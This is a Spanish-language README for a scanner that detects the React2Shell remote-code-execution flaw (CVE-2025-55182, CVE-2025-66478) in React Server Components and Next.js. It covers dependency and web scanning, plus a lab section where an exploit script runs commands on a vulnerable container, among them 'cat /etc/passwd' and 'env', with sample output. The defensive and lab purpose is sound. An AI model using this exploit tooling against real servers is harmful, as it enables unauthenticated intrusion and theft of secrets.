security-phoenix-demo/react2shell-scanner-rce-react-next-cve-2025-55182-cve-2025-66478
Escáner para CVE-2025-55182 (React) y CVE-2025-66478 (Next.js) - Rastrea y remedia una campaña de vulnerabilidad crítica de React Server Components (RSC) / protocolo Flight que afecta a react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack y frameworks compatibles con RSC como Next.js.
Vulnerabilidad EXTERNA para la clase de bugs React2Shell: dos vulnerabilidades de ejecución remota de código recién divulgadas y no autenticadas en el protocolo «Flight» de React Server Components (RSC): CVE-2025-55182 (React) y CVE-2025-66478 (Next.js), ambas calificadas con CVSS 10.0. Estos problemas residen en cómo los endpoints RSC/Server Function decodifican payloads Flight controlados por el atacante, convirtiendo una única solicitud HTTP manipulada en una potencial ejecución de código del lado del servidor, incluso en stacks modernos «por defecto» de React/Next.js que usan App Router y builds de producción. Para muchos equipos este es un momento de «parchear ahora, verificar la exposición y luego auditar», no algo que deba posponerse para un sprint posterior de higiene de dependencias. La carpeta LAB contiene exploits y vulnerabilidades de laboratorio para React2Shell
Este proyecto ofrece un enfoque doble: (1) escaneo de riesgos de composición de software / dependencias (esta herramienta), para localizar rápidamente librerías y versiones vulnerables, y (2) un escáner DAST web (React2Shell Web Scanner) que sondea activamente endpoints RSC/Flight desde el exterior, validando si las rutas explotables son alcanzables en entornos en ejecución. En conjunto, le ayudan a responder tanto «¿dónde están los componentes vulnerables?» como «¿dónde pueden explotarse realmente en producción?», de modo que pueda priorizar el parcheo, el endurecimiento y la respuesta a incidentes con confianza.
Para pruebas de endpoints en vivo y validación de RCE, consulte el escáner web dedicado:
📁 web-scan_CVE-2025-66478/ - Documentación y guía completas
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| Característica | Descripción |
|---|---|
| 🔍 Detección de RCE | Detección segura basada en aritmética (sin efectos secundarios) |
| 🎯 Huella tecnológica | Auto-detección de aplicaciones Next.js/React |
| 📊 Exportación multi-formato | Informes JSON, CSV y HTML |
| 🔗 Correlación de IOC | Coincidencia contra más de 31 IPs maliciosas conocidas |
| 🌐 Escaneo a escala | Rangos CIDR, enumeración de subdominios |
| ☁️ Integración con Phoenix | Subir hallazgos a Phoenix Security |
| 💻 Herramienta de Exploit | Ejecutar comandos en objetivos vulnerables |
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell es una primitiva de ejecución remota de código no autenticada contra el manejo de payloads de React Server Components (RSC) en el protocolo Flight. En la práctica, esto significa que un cliente malicioso puede enviar una única solicitud HTTP manipulada a un endpoint RSC/Server Function y, si hay una versión vulnerable en uso, potencialmente convertir una «aplicación web» en un «shell del servidor».
A alto nivel:
Debido a que se trata de RCE no autenticada, las configuraciones de producción por defecto están dentro del alcance, incluso si nunca escribió explícitamente una «server function» y simplemente adoptó patrones modernos de React/Next.js. Las mitigaciones a nivel de hosting y los WAF genéricos no deben tratarse como su principal red de seguridad: pueden reducir la exposición, pero no compensarán de forma fiable las librerías vulnerables. Trate esto como un incidente:
Una vez que un atacante consigue RCE a través de React2Shell, los defensores deben asumir una kill chain conocida:
.env, secretos de despliegue, tokens de CI, credenciales de servicios y claves de firma.Si su pipeline de DevSecOps ha tratado históricamente la capa web como «solo un frontend», esta vulnerabilidad es una demostración concreta de que los frameworks frontend pueden conllevar un profundo radio de impacto del lado del servidor cuando están involucrados RSC y la semántica de streaming. Universal Vulnerability Scanner existe para ayudarle a responder rápidamente «¿estamos ejecutando los paquetes vulnerables en algún lugar?» y para alimentar esa respuesta en campañas impulsadas por Phoenix y, próximamente, en una validación DAST web complementaria de endpoints RSC en vivo.